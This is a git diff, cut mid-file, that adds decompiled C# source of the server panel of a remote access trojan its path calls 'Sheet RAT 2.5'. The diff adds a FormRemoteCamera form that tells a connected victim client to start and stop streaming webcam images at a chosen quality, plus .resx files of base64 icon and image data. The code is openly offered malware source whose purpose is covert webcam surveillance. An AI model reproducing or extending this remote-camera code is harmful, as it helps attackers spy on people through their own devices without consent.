qWcgCOkQGjCJVzClcONoOrACZdwCVcu51EKcR3+kYAJl3AJVxY3b958eucAEmMlXMKNQm4ERQImXMIlXLmcQCk7aGKshEu40RcJ6CVGSLiEG8X5Bja/IvR8OWYLEwYJl3AJN6I49/8BU9E70gwNkzMAAAAASUVORK5CYIIL + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADmBwAAAk1TRnQBSQFMAwEBAAHoAQUB6AEFARABAAEQAQAE/wEJARAI/wFCAU0BNgEEBgABNgEEAgABKAMAAUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFmAwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZAgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFmAgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEzAQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFmAgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFmAQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEAATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFmAQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFmATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFmAQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEAAWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZAQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEzAQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEAAZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHMAQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFmATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZAQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHMATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJmAQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHMAQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEAAcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEAASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/+CAAEaAZkLUgEaMgABdAEbARoEmgV6AcMBUjIAAVIB9gGgApoDegRZAcMBUjIAAVIB9gHDAaACmgN6A1kBwwFSMgABUgH2AsMCoAGaA3oCWQHDAVIyAAFSAv8D9gHDApoDegHDAVIyAAFSAfYCmgF6ARsG9gH/AVgyAAFYAfYDmgJ6ApoDegH2AVgyAAFYAfYDmgEaBvYB/wF5MgABWAX/AfYEeQKZARsyAAd5B//xAAFCAU0BPgcAAT4DAAEoAwABQAMAARADAAEBAQABAQUAAYAXAAP/AQAC/wYAAv8GAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAGAAQEGAAL/BgAC/wYAAv8cAAs= + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRemoteCamera.cs b/Server/Server/Forms/FormRemoteCamera.cs new file mode 100644 index 0000000..b50fd1f --- /dev/null +++ b/Server/Server/Forms/FormRemoteCamera.cs @@ -0,0 +1,230 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRemoteCamera +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRemoteCamera : MetroForm +{ + public Clients PluginClient; + public Clients ParrentClient; + public string pathforImage; + public int FPS; + public Stopwatch sw = Stopwatch.StartNew(); + private IContainer components; + private MetroLabel metroLabel2; + private MetroToggle metroToggleCamera; + private MetroLabel metroLabel5; + private MetroLabel metroLabel4; + public NumericUpDown numericUpDown1; + public PictureBox pictureBox1; + public MetroComboBox comboBox1; + public Timer timer1; + + public Image GetImage { get; set; } + + public FormRemoteCamera() => this.InitializeComponent(); + + private void FormRemoteDesktop_Load(object sender, EventArgs e) + { + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroToggleCamera.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel5.Style = Customs.customs.Style; + this.comboBox1.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.numericUpDown1.ForeColor = Customs.customs.StyleToColor(); + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroToggleCamera.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel5.Theme = Customs.customs.Theme; + this.comboBox1.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + this.numericUpDown1.BackColor = Customs.customs.ThemeToColor(); + } + this.Refresh(); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.PluginClient == null) + return; + this.PluginClient.Disconnected(); + }); + } + + private void metroToggleCamera_CheckedChanged(object sender, EventArgs e) + { + if (this.metroToggleCamera.Checked) + { + if (this.comboBox1.SelectedIndex == -1) + return; + this.PluginClient.Send((object) $"capture<@>{this.numericUpDown1.Value.ToString()}<@>{this.comboBox1.SelectedIndex.ToString()}"); + } + else + this.PluginClient.Send((object) "stop"); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.ParrentClient.Connect && this.PluginClient.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRemoteCamera)); + this.pictureBox1 = new PictureBox(); + this.metroLabel2 = new MetroLabel(); + this.metroToggleCamera = new MetroToggle(); + this.metroLabel5 = new MetroLabel(); + this.metroLabel4 = new MetroLabel(); + this.numericUpDown1 = new NumericUpDown(); + this.comboBox1 = new MetroComboBox(); + this.timer1 = new Timer(this.components); + ((ISupportInitialize) this.pictureBox1).BeginInit(); + this.numericUpDown1.BeginInit(); + this.SuspendLayout(); + this.pictureBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.pictureBox1.Location = new Point(23, 89); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new Size(810, 366); + this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(109, 64 /*0x40*/); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(75, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 8; + this.metroLabel2.Text = "<- Camera"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroToggleCamera.AutoSize = true; + this.metroToggleCamera.Location = new Point(23, 63 /*0x3F*/); + this.metroToggleCamera.Name = "metroToggleCamera"; + this.metroToggleCamera.Size = new Size(80 /*0x50*/, 17); + this.metroToggleCamera.Style = MetroColorStyle.Lime; + this.metroToggleCamera.TabIndex = 7; + this.metroToggleCamera.Text = "Off"; + this.metroToggleCamera.Theme = MetroThemeStyle.Dark; + this.metroToggleCamera.UseSelectable = true; + this.metroToggleCamera.UseStyleColors = true; + this.metroToggleCamera.CheckedChanged += new EventHandler(this.metroToggleCamera_CheckedChanged); + this.metroLabel5.AutoSize = true; + this.metroLabel5.Location = new Point(260, 65); + this.metroLabel5.Margin = new Padding(2, 0, 2, 0); + this.metroLabel5.Name = "metroLabel5"; + this.metroLabel5.Size = new Size(69, 19); + this.metroLabel5.Style = MetroColorStyle.Lime; + this.metroLabel5.TabIndex = 19; + this.metroLabel5.Text = "<- Quality"; + this.metroLabel5.Theme = MetroThemeStyle.Dark; + this.metroLabel5.UseStyleColors = true; + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(503, 65); + this.metroLabel4.Margin = new Padding(2, 0, 2, 0); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(75, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 18; + this.metroLabel4.Text = "<- Camera"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.numericUpDown1.BackColor = Color.Black; + this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown1.ForeColor = Color.FromArgb(165, 219, 0); + this.numericUpDown1.Increment = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.numericUpDown1.Location = new Point(201, 64 /*0x40*/); + this.numericUpDown1.Margin = new Padding(2); + this.numericUpDown1.Minimum = new Decimal(new int[4] + { + 20, + 0, + 0, + 0 + }); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new Size(55, 20); + this.numericUpDown1.TabIndex = 16 /*0x10*/; + this.numericUpDown1.TextAlign = HorizontalAlignment.Center; + this.numericUpDown1.UpDownAlign = LeftRightAlignment.Left; + this.numericUpDown1.Value = new Decimal(new int[4] + { + 30, + 0, + 0, + 0 + }); + this.comboBox1.FontSize = MetroComboBoxSize.Small; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.ItemHeight = 19; + this.comboBox1.Location = new Point(330, 62); + this.comboBox1.Margin = new Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new Size(169, 25); + this.comboBox1.Style = MetroColorStyle.Lime; + this.comboBox1.TabIndex = 32 /*0x20*/; + this.comboBox1.Theme = MetroThemeStyle.Dark; + this.comboBox1.UseSelectable = true; + this.comboBox1.UseStyleColors = true; + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(856, 478); + this.Controls.Add((Control) this.comboBox1); + this.Controls.Add((Control) this.metroLabel5); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.numericUpDown1); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroToggleCamera); + this.Controls.Add((Control) this.pictureBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormRemoteCamera); + this.Style = MetroColorStyle.Lime; + this.Text = "RemoteCamera"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRemoteDesktop_Load); + ((ISupportInitialize) this.pictureBox1).EndInit(); + this.numericUpDown1.EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRemoteCamera.resx b/Server/Server/Forms/FormRemoteCamera.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormRemoteCamera.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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